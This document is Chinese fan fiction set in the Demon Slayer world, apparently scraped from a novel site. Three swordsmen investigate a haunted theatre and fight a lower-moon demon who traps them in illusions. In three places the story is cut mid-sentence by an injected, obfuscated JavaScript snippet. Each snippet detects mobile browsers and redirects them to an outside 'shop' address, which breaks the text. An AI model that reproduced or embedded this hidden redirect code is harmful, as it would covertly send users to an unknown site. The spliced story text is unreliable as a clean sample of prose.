锖兔嘴里还含着饭团,鼓着一边腮帮子,但已经站起来了,义勇也转过头,看着她,三个人的目光撞在一起。 锖兔把饭团咽下去,喉结动了一下。 “行,”他说,“走。” 义勇已经站起来,把碗往廊下一放,往自己屋里走,边走边说:“我去拿刀,收拾行李。” 音叶也站起来。 悠子在她肩上又蹦了两下,爪子抓得更紧了。 “快点快点!人家等着呢!” 音叶伸手弹了一下她的脑袋。 悠子闭上嘴,委屈地缩了缩脖子。 …… 道顿堀的傍晚比白天更热闹,运河两岸的灯笼一盏接一盏亮起来,把水面染成暖红色。戏院的招牌挤挤挨挨地排着,歌舞伎的、文楽的、还有几家用西洋魔术招揽客人的,吆喝声和三味线的声音混在一起,飘在空气里。 三个人穿过那座桥时,正是戏院开场的时辰。 “这么多人,”锖兔边走边看,“比镇上的年市还热闹。” 音叶没说话,她看着那些穿着鲜艳和服的女人挽着客人往戏院里走,心里有些震撼。 卖章鱼烧的小贩把铁板敲得当当响,一个醉醺醺的男人被两个艺伎扶着从她们身边经过,留下一串香粉和酒气混在一起的味道。 义勇走在她旁边,脸上没什么表情,但眼睛一直在观察四周的环境。 他们要找的那座戏院,不在这些热闹的地方。 沿着运河往东走,过两座桥,人渐渐少了。再往前走,巷子越来越窄,两边开始出现一些钉死门窗的空屋。墙上的招贴被雨水冲刷得只剩几片残纸,依稀能看出是戏班的告示,年月太久,字迹已经看不清了。 最后一条巷子尽头,立着一座黑漆漆的建筑。 月影座的招牌还挂在门上,金漆剥落了大半,只剩“月”字还能认出来。门板钉死了,但旁边开着一扇小门,虚掩着,二楼有一扇窗户,透出昏黄的灯光。 三个人站在巷子里,看着那扇窗。 运河那边的热闹传不到这里。只有风吹过破洞的窗纸,发出细细的呜咽声。 “这地方……”锖兔压低声音,“阴森森的。” 音叶没有接锖兔的话,她盯着那扇窗户,那里有一小团昏黄的光。 他们继续往前走,找了户人家借宿,巷子口有家老夫妻开的杂货铺,已经收了摊,正在准备做饭。锖兔上去问了两句,老人就把他们让进去了。 铺子后面就是住的地方,不大,但有两间空房。老婆婆给他们倒了茶,坐下来,叹了口气。 “你们也是来查那戏院的?” 音叶点点头。 婆婆的表情变得惊恐,她好心劝三个人。 “别去了,”她说,“那地方邪乎得很。” 锖兔问:“怎么了?” 老婆婆沉默了一会儿。 “上个月,来了个戏班子,”她说,“说是要重新开张,招了些人帮忙打扫。结果呢?七个人进去,一个都没出来。” 她将手中的茶杯放下,杯里的水因为手抖而晃动着。 “有个年轻人,前几天跑出来了。疯了。” “疯了?” “嗯,”老婆婆压低声音,“只会说一句话——好美,好美,翻来覆去地说,说了一整天,嗓子都哑了,还在说。” 屋里安静下来,老婆婆看着他们。 “明明都已经颁布禁刀令了,你们还带着刀,”她说,“是没落的旧武士吧?” 音叶不想为自己惹来麻烦,知趣地没否认。 “别晚上去,”老婆婆说,“那戏院……晚上会亮灯。” 义勇抬起头:“亮灯?” “嗯,”老婆婆说,“荒了十几年了,没人管,但每天晚上,二楼那扇窗户都会透出光,有人在里面。” 她打了个寒战。 “不是人……肯定不是人。” 夜里,月亮升起来了。月光很亮,把山林照得清清楚楚,三个人潜伏在戏院外围的树丛里,草叶上的露水打湿了裤腿。 房子确实荒了,外墙爬满藤蔓,有些地方的墙皮脱落,露出里面的木板。窗户破了大半,黑洞洞的,但二楼那扇窗户,的确透出微弱的光。 锖兔压低声音,气音几乎贴着她耳朵。 “真的有光。” 音叶盯着那扇窗户,光很暗,是昏黄色的,偶尔晃一下,像房间里有什么东西在里面动。 “进去吗?”义勇问,手已经按在刀柄上。 音叶拉住他,他的手很凉,大概是因为在外面等了太久。 “等等。” 就在这时,窗户里传出声音。那是歌舞伎的唱腔,拖着长长的尾音,在夜色里飘。明明是男人的声音,却唱着游女的词,夹着嗓子,像从另一个世界传来。 然后那扇窗户被推开了,一个人影出现在窗边。穿着华丽的游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375043|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女装束,黑发如瀑,肤白如玉。月光照在他脸上,美得不像真人,眉眼精致得像画出来的,嘴唇带着若有若无的红,嘴角微微上扬。 他朝树丛这边看了一眼,目光准确地落在三人藏身的地方。嘴角勾起一丝若有若无的笑。 只是一眨眼的功夫,他就消失在三人眼皮子底下。 锖兔的呼吸顿了一下,压着声音说:“她看见我们了?” 音叶盯着那扇窗户,没移开目光:“他在请我们进去。” 义勇的手按在刀柄上,指节有些发白。 “现在进去?” “不,”音叶终于收回目光,“今晚只踩点,不能动手,明晚准备好了再动手。” 她站起身,拍了拍膝盖上的草叶和泥土。 “走吧,先回去休息一会。” 第二天白天,三个人把镇子转了一遍。 问了几个见过那个疯掉年轻人的村民。说法都一样:他进去待了一夜,第二天跑出来,就疯了。只会说“好美,好美”,看着空气又哭又笑,脸上的表情变来变去,像在演一出没人看的戏。 “把他送走了,”一个村民说,是个四十来岁的男人,脸上带着疲惫,“送去城里的医馆了,他娘哭得不行,但没办法,留在这儿也是等死。” 音叶问:“他到底看见了什么?” 村民摇头:“没人知道,他自己也不说,说了也没人能听懂,翻来覆去就那几个字。” 傍晚,三个人回到借宿的地方,老婆婆给他们做了晚饭,简单的汤和米饭。三个人吃了几口,给婆婆留了钱,最后检查了行李,带着日轮刀一边转悠一边等待夜色暗下来。 月亮还没升起来,四周黑漆漆的,伸手不见五指,三个人摸到戏院门口,推开了那扇虚掩的门。门轴发出吱呀一声响,在寂静的夜里格外刺耳。 门里是一条走廊,尽头有光。 他们走进去。 走廊很窄,只能容一个人通过,两边墙上挂着破旧的戏报,纸已经发黄卷边,上面的字迹模糊不清,脚下是木板地,踩上去咯吱咯吱响。 穿过走廊,眼前豁然开朗,那是舞台和观众席。 舞台上方吊着破旧的幕布,落满了灰,有些地方已经破了洞,观众席的椅子东倒西歪,缺胳膊少腿的,落满了厚厚的灰尘。但舞台上点着几盏灯笼,照得亮堂堂的,和周围的破败形成鲜明对比。 一个人站在舞台中央,穿着武士的戏服,手持折扇,背对着他们。 他转过身来。 昨天那个游女不见了,换成了武士扮相,高马尾,精致的妆容,眉眼间带着笑意,美得雌雄莫辨。月光从破旧的窗棂里漏进来,落在他身上,像是专门给他打的追光。 他朝他们行了一个标准的日式礼,但是现在已经是明治时期了,很少再需要行礼了。 “欢迎光临月影座,”他说,声音低沉柔和,“我是这里的主人,莲月。” 音叶握紧刀,刀柄上的缠手带被她握得有些发紧。 莲月的目光扫过他们三个人,最后停在音叶脸上:“三位客人,是来看戏的吗?” 锖兔往前迈了一步,站在音叶前面。 “我们是来杀你的。” 莲月笑了,眉眼弯起来,嘴角上扬,像听到了什么有趣的笑话。 “杀我?”他声音里带着笑意,“那也要先看一场戏,来都来了,不看一场再走吗?” 他展开折扇,折扇上画着月亮,在灯光下泛着幽幽的光,那光似乎是活的,在扇面上随着动作移动。 音叶盯着他的眼睛,那双眼睛很美,像是两个深邃的湖泊,就在他展开折扇的瞬间,灯笼的光直直地照进他瞳孔里。 他的眼珠里,刻着字——下弦·贰。 音叶的呼吸停了一瞬。 “下弦,”她说,声音很轻,但在空荡荡的戏院里格外清晰,“他是下弦。” 锖兔和义勇同时握紧了刀。 莲月收起折扇,又行了一个礼,这一次的礼比刚才更深,更正式,像是在对待值得尊重的对手。 “那就开始吧,”他的声音飘在空气中,像从另一个世界传来,“今晚的剧目是——” 他嘴角的笑意更深了:“——《三人客》。” 舞台上的灯笼同时熄灭了。 23. 月下戏院(二) 莲月指尖轻轻一挑,折扇缓缓展开。扇面绘着一弯银月,是极其静雅的纹样,可就在戏院四角灯笼骤然熄灭的刹那,那轮月竟诡异地亮了起来。 他们连戒备的机会都没有,眼前的光影骤然扭曲、碎裂、重组。 下一秒,当音叶反应过来时,她已经站在一座陌生的木质舞台之上。脚下是被岁月磨得光滑的地板,头顶垂落着暗沉的幕布,四周是层层叠叠、隐在昏暗中的观众席。 而台下,坐满了看客。只是那根本不是人,是一具具做工精致却神情僵硬的人偶。它们穿着陈旧和服,脸颊涂着惨白的粉,唇角勾着一成不变的诡异笑容,几百双空洞无瞳的眼睛,齐刷刷地钉在舞台中央,死死锁住她的身影。 一股寒意顺着脊椎往上爬,音叶猛地低头看向自己。 身上不知何时换上了一身戏服,是武士的浅蓝短打,腰间赫然插着一把刀,只是一把看似普通的道具刀。可当她下意识握紧刀柄时,指尖传来的刀柄贴合掌心的触感,却真实得可怕。 不等她回过神,莲月的声音从四面八方漫过来,虚无缥缈,却又清晰地钻入耳膜,无孔不入。 “第一幕。” “《假名手忠臣藏》。” 音叶心头一紧,刚想运转呼吸挣脱这诡异的束缚,身体却先一步动了。 不是她的意志,是一股冰冷的外力强行操控着四肢。她的手不受控制地握住刀柄,指节泛白,刀刃缓缓出鞘,朝着身旁骤然出现的官员斩去,那也是一具人偶,身着华丽的黑金官服,头颅僵硬地歪着,脸上依旧挂着那抹令人毛骨悚然的笑。 音叶在心里叫嚣让自己停下,拼尽全力与那股力量抗衡。她的肌肉在颤抖,骨骼在发出细微的声响,可挥刀的手臂却纹丝不动,刀锋正以不可阻挡之势,朝着人偶的脖颈劈去。 一旦斩下,便等于落入了莲月的戏局。 就在刀刃即将触碰到人偶僵硬肌肤的刹那,音叶猛地咬紧牙关,狠狠咬破了自己的舌尖。 尖锐的剧痛瞬间炸开。 浓烈的血腥味充斥着口腔,刺激着混沌的神智,她硬生生从被操控的状态中夺回了一瞬的主动权。 就是这短短一瞬,她手腕急转,体内早已运转起来的霖之呼吸在经脉中奔涌,带着雨雾般的清冽气息,尽数灌注于刀刃之上。 “霖之呼吸——一之型·细雨归尘。” 刀锋骤然斜掠,避开人偶,朝着空无一人的侧方斩出。细密的水汽随着刀势散开,没有伤到任何东西,却彻底斩断了那股操控她的诡异力量。 人偶依旧僵立在原地,笑容未变,仿佛什么都不曾发生。 音叶收刀站稳,大口大口地喘着气,冷汗顺着额角滑落,浸湿了戏服的领口。她来不及平复喘息,猛地转头看向舞台另一侧。 心脏骤然一沉,锖兔与义勇,正站在那里。 两人也换上了与她不同的戏服,皆是武士装扮,却面色木然,眼神空洞无光,早已失去了自主意识。锖兔的日轮刀已出鞘过半,举在半空僵住,动作停在挥刀的前一刻,义勇则手握刀柄,身体僵直如木偶,连指尖都未曾动弹分毫。 他们也和她刚刚一样,被困在了这场幻戏之中。 舞台角落的阴影里,莲月缓缓走出。 他已换了一身装束,依旧是武士扮相,却更为华丽精致,暗纹锦袍衬得他身姿挺拔,眉眼间带着与生俱来的优雅。他慵懒地靠在幕布旁,折扇轻摇,唇角噙着一抹玩味的笑,目光扫过舞台上的三人,如同在欣赏一场精心编排的好戏。 “别急,”莲月的声音温柔得如同春风,却字字冰冷,“让他们把这场戏演完。” 音叶根本不理会他的挑衅。 锖兔和义勇是她从小玩到大的伙伴,她不可能任由两个人出事自己却无动于衷。她握紧手中的刀,朝着锖兔的方向疾奔而去。 每时每刻保持的全集中呼吸法带着她往前跑,可就在离锖兔仅剩三步之遥时,一道熟悉的身影骤然挡在了她的面前。 是锖兔,但并不是真正的锖兔。一模一样的面容,连开口的声音都分毫不差。 “音叶,我没事。”假锖兔笑着,语气温和,“你别怕。” 音叶眼神一厉,没有半分迟疑。 她清楚地知道,真正的锖兔还僵在后方,眼前的不过是莲月用幻境制造的假货。霖之呼吸在体内流转,她手腕翻转,刀身带着细碎的雨雾,直劈而去。 刀锋掠过假锖兔的身躯,那道身影没有溅出半滴血,反而如同被风吹散的浓雾,瞬间消散无踪。 可不等她松气,身后又传来了熟悉的声音。 “音叶。” 是义勇。 音叶猛地回头,看见“义勇”站在三步之外,面色平静,朝她缓缓伸出手:“过来。” 她挥刀横扫,刀风带起的水汽再次将假义勇击碎。 但这仅仅是开始。 舞台四周的阴影里,不断有身影涌出,密密麻麻,全是他们二人。他们穿着不同的戏服,带着或担忧或温和的表情,从四面八方朝着音叶围拢而来,熟悉的声音叠在一起,在空旷的戏院里回荡。 “音叶。” “我没事。” “别着急。” “过来。” 无数张相同的脸在眼前晃动,无数道相同的声音在耳边缠绕,她的感知被这混乱的幻境搅得模糊不清。音叶握紧刀柄,背微微绷紧,一时竟分不清该挥向何方。 就在这混乱的瞬间,一声沉闷的利刃入肉之声,骤然从身侧响起。 音叶心头一震,猛地转头望去。 一直僵立不动的真正的义勇动了,他紧握日轮刀,将刀尖朝下,狠狠刺进了自己的大腿。 鲜红的血瞬间溅落在舞台的木板上,刺目惊心。 义勇的脸色瞬间惨白如纸,额头上布满了冷汗,剧痛让他的身体微微颤抖,可那双空洞的眼眸,却在这一刻骤然恢复了清明。他单膝跪在地上,粗重地喘着气,抬眼便看见音叶被无数幻象围困的场景。 没有丝毫犹豫,义勇拔起腿上的刀,鲜血顺着刀刃滴落,他强忍着剧痛,拖着受伤的腿,朝着音叶的方向冲来。体内水之呼吸奔涌如江河,蓝色的气浪环绕刀身,凌厉而沉稳。 “水之呼吸——一之型·水面斩。” 横刀一斩,平静的刀势却带着劈开水浪的力量,瞬间将两个围在音叶身边的假锖兔斩碎。 “水之呼吸——二之型·水车。” 他旋身挥刀,刀势如旋转的水车,卷起层层水浪,又有两道幻境身影在刀下消散。 幻境的混乱,被这两道干净利落的水之呼吸,硬生生撕开了一道缺口。 莲月的真身,从舞台深处的阴影里缓缓走了出来。他停下脚步,慢悠悠地拍着手,节奏缓慢,却带着令人窒息的压迫感。 “精彩,”他轻声赞叹,眼底却没有半分赞赏,“真是精彩。” 他的目光落在音叶身上,那抹优雅从容的笑意还挂在脸上,可眼底深处,却有暴戾的火焰在悄然燃烧。 “连柱都不是的小姑娘……”莲月轻声道,语气里带着毫不掩饰的讶异与戾气,“居然能凭自己挣脱幻境,真是了不起。” 音叶握刀的手有些颤抖,喘着气,目光死死锁定着莲月,不敢有半分松懈。 锖兔还没醒过来,义勇大腿还在受伤,此刻还能与莲月一战的只有她一个人了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375044|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 莲月没有再动手,可周身的气息却骤然变了。原本温和优雅的气质荡然无存,取而代之的是阴冷而磅礴的鬼气,在戏院之中翻涌。 他双手抬起,修长的手指优雅地结印,动作轻柔如舞,十指交叠又舒展,每一个动作,都让周遭的幻境变得更加诡异。 最后,他手中那柄绘着银月的折扇,啪的一声,彻底合上。 刹那间,整个世界消失了。 绝对的黑暗降临了,音叶什么都看不见,甚至连自己的身体,都仿佛不存在一般。 没有任何声音,她自己的心跳声、耳鸣声,都被彻底抹去。也没有触觉,她甚至感觉不到自己是站着还是躺着。 ——五感尽失。 音叶僵在原地,她甚至不知道自己是否真的站在原地。恐慌如同黑暗中的藤蔓,悄然缠上心脏,可她强迫自己冷静下来。 不能慌,一旦慌了,锖兔和义勇就真的危险了。 她拼命回忆黑暗降临前的最后一幕,当时锖兔与义勇的位置。 她试着迈出一步,她感觉不到双腿的存在,只能凭借着心底的记忆,死死锁定着锖兔的方位。 就在这时,一股毛骨悚然的直觉,骤然从心底升起。那是她与生俱来的,对危险与气息的极致感知,似乎有什么东西正在黑暗中快速移动,目标明确,正是她左后方,锖兔所在的位置。 “锖兔!” 音叶再次运转霖之呼吸,让雨雾般的气息包裹住自己,凭借着那一丝微弱的感知,朝着直觉中危险袭来的方向,挥刀斩出:“霖之呼吸——三之型·雾霖斩。” 没有刀刃击中实物的触感,没有气浪碰撞的声音,音叶清晰地明白,这一刀彻底挥空了。 下一秒,一声压抑到极致的闷哼,在死寂的黑暗中骤然炸开。 那是锖兔的声音。 音叶的心瞬间揪紧,她想冲过去,可她什么都做不了,只能被困在这片虚无之中,任由恐惧吞噬自己。 就在她快要被绝望淹没的瞬间,笼罩一切的黑暗骤然散开了。 光线重新落回戏院,舞台上方的屋顶,不知何时被破开了一个大洞,皎洁的月光从洞口倾泻而下,照亮了整个舞台。 音叶的目光第一时间落在锖兔的位置,他单膝跪在地上,低着头,一只手死死撑在木板上,指节因为用力而泛白,才勉强没有倒下。 而锖兔的后背,三道深可见骨的抓痕狰狞可怖,从左肩一直划下,鲜红的血源源不断地涌出,瞬间浸透了背后的衣料。 音叶的腿一阵刺痛,她在此时才低下头,意识到自己也受了伤。 她的小腿外侧一道深长的伤口不知道是什么时候出现的,鲜血正不停地往外涌,在她的脚下汇成一小摊血渍。她拼命使用呼吸法,止住了血,等待伤口慢慢愈合。 她颤抖着转头,看向右前方的义勇。 义勇站在那里,一手紧紧捂着腹部,指缝间不断有鲜红的血涌出,顺着衣摆往下滴落,染红了整片衣料。他的脸色惨白如纸,呼吸急促,却依旧挺直着脊背。 他们三个人都没能躲过莲月的招式,下弦之二几乎没怎么费力,就让他们全部负伤。 莲月站在舞台正中央,优雅地舔了舔指尖沾染的鲜血。清冷的月光落在他那张美得不似真人的脸上,将他眼底的餍足与暴戾照得一清二楚。 他缓缓抬起眼,扫过浴血而立的三人,唇角的笑意越发温柔,语气却残忍至极。 “三个小家伙,”莲月轻声道,声音依旧好听,却带着刺骨的寒意,“还挺能撑。” 他身上的鬼气不再有半分掩饰,眼底那抹被音叶挣脱幻境而燃起的怒火烧得旺盛,即将吞噬一切。 24. 月下戏院(三) 破败戏院的舞台上,三个人与莲月的战斗已经持续了不知多久。 音叶侧身翻滚,避开一记横扫而来的折扇,扇缘擦着她的发丝掠过,在身后的土墙上劈开一道深痕。她单膝跪地,日轮刀横在身前,呼吸急促而紊乱,左腿小腿外侧那道伤口已经裂开三次,每一次愈合都需要时间。 莲月站在舞台中央,折扇轻摇,姿态从容得像是在自家后花园散步。他嘴角噙着笑,眼里却是猫捉老鼠般的玩味。 “三个小家伙,连我的衣角都摸不到,就伤成这副模样。”他慢悠悠地说,“真是可怜。” 锖兔咬着牙从侧面突进,刀锋划破空气,直取莲月的后颈:“水之呼吸——二之型·水车。” 他整个人凌空旋转,刀身裹着水流,如同一轮水刃车轮,朝莲月拦腰斩去。 莲月头也不回,折扇往后一撩,精准地格开刀刃,冲击波震荡开来,锖兔的旋转之势被生生打断,身形一滞。莲月趁势侧身,一脚踹在他小腹上,锖兔闷哼一声,整个人往后飞出,重重撞在斑驳的柱子上,脊背砸得木板龟裂。 “锖兔!”义勇瞳孔骤缩,拖着伤腿就要冲上去。 “别急,”莲月折扇轻点,地面骤然隆起一道土墙,生生截断了义勇的去路,“一个一个来,都有份。” 音叶趁这间隙深吸一口气,霖之呼吸在体内流转,让血液流动加快、伤口愈合提速。她能感觉到小腿的伤口正在收紧,新的肉芽在伤口边缘生长,又痒又痛。 她握紧刀,欺身而上:“霖之呼吸——二之型·润物无声。” 她的身形变得飘忽不定,刀势轻柔绵密,无声无息间已逼至莲月身侧,刀锋划向他的腰肋,角度刁钻,几乎没有破空之声。 莲月眼神微动,终于有了几分认真,他折扇一展,扇面上的月亮骤然发光,一道无形的屏障挡在身前。音叶的刀刃斩在屏障上,激起一圈涟漪,却没能如愿破开。 “有意思,”莲月笑道,折扇一挥,屏障炸裂,气浪把音叶震退几步,“使用这个呼吸法的人,我还从来没有吃过……小姑娘,这是你的荣幸。” 音叶没有回答,稳住身形,足尖点地,再次扑上。 “霖之呼吸——四之型·雨燕回。” 她的身法骤然变得迅捷灵动,刀锋从各个角度刺向莲月的要害,第一刺没有击中,便立即折返,从另一个方向再刺。短短几分钟,她已经攻出十几刀,刀刀紧逼。 莲月被她缠得有些烦了,折扇连挥,血鬼术催动。舞台四周那些尘封了不知多少年的人偶骤然活了过来,成百上千只人偶缓缓站起,数百双空洞的木眼睛齐刷刷转向舞台上的三人。 下一秒,密密麻麻的人偶汇成一股,朝着三人涌了过来。 “义勇!”锖兔大喝一声,强撑着从柱子边站起来。 义勇会意,转身迎向涌来的人偶。他深吸一口气,水之呼吸在体内流转:“水之呼吸——一之型·水面斩。” 刀锋平斩而出,如同一道平静水面掠过的刀光,干净利落。冲在最前面的三只人偶齐齐断成两截,木屑纷飞。 但人偶太多了,很快更多的人偶涌上来,填补了空缺。 义勇咬着牙,刀势一变:“水之呼吸——四之型·打击之潮!” 刀身划出连绵的弧线,如同潮水一波接一波地涌出,将扑上来的人偶尽数斩碎。但他伤得太重,左腿被贯穿的伤口每落地一次都疼得眼前发黑,动作明显迟缓下来。等到第四波人偶涌上来时,他只来得及侧身避开,肩膀上还是被抓出一道血痕。 “义勇,退后!”锖兔的声音从身后传来。 义勇顺势后撤,锖兔从他身侧掠过,接替了他的位置。 “水之呼吸——三之型·流流舞。” 锖兔的身形化作一道流动的残影,在人偶群中穿梭自如。刀光闪过,一只又一只人偶碎裂倒地,他的动作流畅,节奏把控得恰到好处,每一刀都不浪费多余的气力。 但是锖兔也受了伤,刚才那一撞,肋骨可能裂了,每一次呼吸都扯着疼。负伤战斗对身体的负荷极大,他能感觉到体力正在飞速流失。 莲月看着这一幕,眼底闪过一丝不耐,他折扇一挥,更多的人偶从四面八方涌来,几乎要把三人淹没。 音叶一直没有停下对莲月的进攻。她知道,必须打断他的施术,否则人偶会无穷无尽。 “霖之呼吸——三之型·雾霖斩!” 她身形疾掠,刀身裹着细密的水雾,横斩而出。这一刀又快又狠,直取莲月的脖颈。 莲月侧身避开,折扇反手一砸,砸在她腰侧。音叶闷哼一声,整个人横向飞出,在地上滚了两圈,却顺势翻滚起身,再次扑上。 她的小腿伤口又裂开了,鲜血顺着脚踝往下淌,在木板上留下一串血脚印,但她像是感觉不到疼一样,刀势愈发凌厉。 莲月被她这种不要命的打法缠得心头火起,血鬼术催动得更急。那些人偶的攻势越发疯狂,锖兔和义勇背靠背抵挡,身上不断添上新的伤口。 “音叶!”锖兔一刀斩碎扑向他的三只人偶,扭头看向音叶的方向,“我们撑得住,你千万别分心!” 音叶咬紧牙关,目光死死锁定莲月。她知道锖兔的意思,他们三个里,她的能力最强、伤口愈合也快,只有她能持续缠住莲月,锖兔和义勇在用身体给她争取时间。 她深吸一口气,霖之呼吸在体内流转得更急:“霖之呼吸——五之型·霖铃响。” 每一记斩击都带着高频的震动,斩在莲月的屏障上,不再是徒劳无功,屏障开始出现裂纹。 莲月脸色微变。 音叶的招式紧随其后:“霖之呼吸——六之型·水镜映。” 刀身骤然映出月光,光芒刺眼。莲月本能地眯起眼,就在这一瞬间,音叶的刀穿透了屏障的裂缝,直刺他的胸口。 莲月低头,看着胸前冒出的刀尖,愣住了,音叶这一刀,从他前胸刺入,后背透出。 “你……!”莲月怒吼出声,折扇狠狠挥出,裹挟着血鬼术的巨力砸在音叶肩上。音叶整个人飞了出去,日轮刀从她手中脱离,还插在莲月身上。 莲月伸手握住刀身,猛地拔出,血液喷涌,伤口处血肉蠕动,开始愈合。他盯着手里那把刀,眼底怒火翻涌。 “好……好得很。” 他把刀狠狠掷在地上,目光扫过战场。 就在这片刻间,锖兔和义勇已经清空了周围最后一批人偶。锖兔单膝跪地,大口喘气,身上满是抓痕和血迹,义勇拄着刀站在他身前,握刀的手止不住地颤抖,却始终没有倒下。 莲月身上也布满了伤痕,鬼的再生之力可以让他快速愈合,但是他仍然可以感知到疼痛。可这场缠斗下来,他竟被三个不起眼的小鬼耗去了大半气力。 这些伤都不重,每一道单独拎起来都不值一提。但问题是被他们打中的伤痕太多了。 “三个小鬼,居然把我逼成这样。”他开口,声线里没了之前的轻佻,只剩压抑的戾气,“你们倒也值了。” 话音落下,他抬步径直朝音叶走去。 音叶看着他步步逼近,刚刚拿回来的刀握得更紧。左腿刚一受力,钻心的剧痛就涌了上来,她膝盖一软,重重磕在木板上。 莲月停在她面前,垂眸看着她:“你叫什么?” 音叶抿紧嘴唇,一言不发,眼底的锋芒却更盛。 “一个丫头,带着两个半死不活的小鬼,居然把我逼到这般境地。”莲月嗤笑一声,缓缓蹲下身,和音叶平视,那双刻着下弦贰的眼眸里,怒火翻涌。 “你该荣幸,我记住你了。” 音叶盯着他的眼睛,忽然轻轻扯了扯嘴角,带着破釜沉舟的决绝。 莲月愣住了,他活了上百年,见过无数人在他面前崩溃求饶,从没见过有人死到临头还能笑得这么坦荡。 “你笑什么?”他厉声喝问,心底竟莫名泛起一丝慌乱。 音叶还是没说话,只是笑着。 莲月的脸色瞬间扭曲,猛地伸手朝她的脖颈掐去。就在这时,一声闷响炸开,锖兔拼尽最后一丝力气从墙上弹起,朝着莲月狠狠撞了过去。 莲月被撞得踉跄后退。 “滚开!”他怒到极致,挥起折扇,裹挟着血鬼术的巨力狠狠砸在锖兔胸口。锖兔整个人飞出去撞在墙上,又滑落在地。 就趁这一瞬的间隙,音叶让自己动起来,她撑着日轮刀站起身,一刀直斩莲月的手,莲月仓促躲闪,手背还是被划开一道深口。 与此同时,义勇也动了,他拖着被贯穿的伤腿,每一步都在木板上留下一道血痕,刀尖直刺莲月的后背。 莲月闪身避开。 三个人再次站了起来,身形摇晃得随时都会倒下,手里却都紧紧握着刀。 莲月脸上最后一丝笑意彻底消失了。 音叶抬眸,声音清冽,裹着血的腥气:“下弦二,你给我记住了,我叫鳞泷音叶,还有我的同伴富冈义勇和锖兔,我们一定会杀了你。” 怒火彻底焚尽了莲月的理智,他发出震耳欲聋的怒吼,双手飞快结印,折扇骤然展开。 “血鬼术·月下舞台,全力发动!” 刹那间,整个戏院开始疯狂扭曲。墙壁像融化的蜡一样往下淌,木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375045|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质地板发出刺耳的断裂声,天花板的木板一块块往下掉。 下一秒,人偶再次显形,但是数量更少了,模样也很模糊——莲月也消耗了巨大的体力。 音叶没有丝毫迟疑,拖着流血的伤腿直扑莲月,必须打断他的施术。人偶一只接一只扑过来,她挥刀斩碎,左腿每落地一次,都疼得眼前发黑,好在伤口的血已经止住,愈合的速度比她预想的要快。 不知道斩碎第几只人偶时,她脚下骤然一空,地板轰然裂开一道深不见底的缝隙,整个人直直往下坠。本能让她伸手死死抠住裂缝的边缘,手指嵌进粗糙的木板里,整个人悬在了半空。 她抬眼,看见莲月正缓步朝她走来,涌过来的人偶自动为他让开了一条通路。 “放手吧,”他语气平淡,“掉下去,一切就都结束了。” 音叶盯着他,一言不发,她咬着牙,把另一只手里的日轮刀狠狠嵌进地板的缝隙里,借着这点支撑,一点点往上爬。 莲月停下脚步,就这么看着她。 终于,音叶爬了上来,趴在裂缝边缘大口喘气,随即撑着刀再次站了起来。 莲月眼底的怒火更盛:“真是不知天高地厚的小丫头……!” 他折扇狠狠一挥,涌过来的人偶骤然停步,紧接着开始疯狂融合,几十上百只人偶挤作一团,变成了一尊畸形的巨型怪物。怪物身上长着几十只胡乱挥舞的手脚,几十张僵硬的笑脸嵌在身躯各处。 巨型怪物嘶吼着,朝音叶猛扑过来。 就在这时,一道身影从侧面冲出来,狠狠撞在怪物身上。 怪物轰然倒地,锖兔也跟着摔在了地上。 “锖兔!”音叶失声大喊。 怪物翻了个身,再次朝锖兔扑去,另一道身影从黑暗里冲了出来,义勇拖着贯穿伤的腿,挥刀直斩怪物的身躯,刀身砍出了一道巨口,可怪物的躯体瞬间就愈合了。 义勇挡在锖兔身前,只说了一个字:“走。” 音叶望着身前的两人,握着刀的手猛地收紧,霖之呼吸在她体内翻涌。她没有冲向莲月,而是转身直扑那只巨型怪物。 “霖之呼吸——九之型·涓流汇。” 连串的刺击接连而出,刀刃精准贯入怪物的核心。那尊由人偶融合成的畸形怪物,瞬间崩碎成了漫天木屑。 音叶单膝跪地,大口喘着气。 莲月的脸色变了:“你……” 音叶不给他说话的机会,撑着刀站起身,拖着伤腿直扑而上,举刀便斩:“霖之呼吸——六之型·水镜映。” 刀身映着月光,莲月仓促挥扇格挡,胸口还是被划开一道深口。 一刀不行就再来一刀,音叶咬着牙,拼尽全力地将自己的呼吸法运用到极致,接连不断地出招。 莲月彻底疯魔,折扇疯狂挥舞,把血鬼术催动到了极点。戏院的畸变愈发剧烈,融化的墙壁、翻涌的地板朝着三人席卷过来,那些还没散尽的人偶碎片重新聚拢,变成无数细小的利刃,混在扭曲的空间里铺天盖地袭来。 这一次,根本避无可避。 锖兔扶着墙想站起来,却力竭跪倒在地,音叶斩碎几片近身的利刃,可更多的已经涌到了眼前。 